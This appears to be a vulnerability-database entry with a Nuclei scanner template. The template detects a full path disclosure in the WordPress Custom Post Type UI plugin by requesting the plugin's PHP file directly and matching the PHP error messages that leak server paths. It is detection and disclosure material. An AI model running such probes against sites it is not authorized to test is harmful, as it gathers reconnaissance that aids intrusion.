wp-custom-post-type-ui-fpd: WordPress Custom Post Type UI - Full Path Disclosure

2026-01-08 WordPress Custom Post Type UI PoC Public

Description

Detected WordPress Custom Post Type UI exposes internal file system path through direct file access.

PoC

id: wp-custom-post-type-ui-fpd

info:
  name: WordPress Custom Post Type UI - Full Path Disclosure
  author: 0x_Akoko
  severity: low
  description: |
    Detected WordPress Custom Post Type UI exposes internal file system path through direct file access.
  reference:
    - https://wordpress.org/plugins/custom-post-type-ui/
    - https://github.com/WebDevStudios/custom-post-type-ui
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cwe-id: CWE-200
  metadata:
    max-request: 1
    verified: true
  tags: wordpress,fpd,wp-plugin,custom-post-type-ui,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/custom-post-type-ui/custom-post-type-ui.php"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 500'
          - 'contains(body, "plugins/custom-post-type-ui/")'
          - 'contains_all(body, "Fatal error", "Call to undefined function") || contains_all(body, "Warning:", "failed to open stream")'
        condition: and
# digest: 4b0a00483046022100c51793f39ff956466d6fdda3847cadbe389bbeafd44b5be3940105356e42001a022100fa7efa12d6211fbd8693394ec2ad8123e7d50e5f189d99c4dc17da95d83b88b9:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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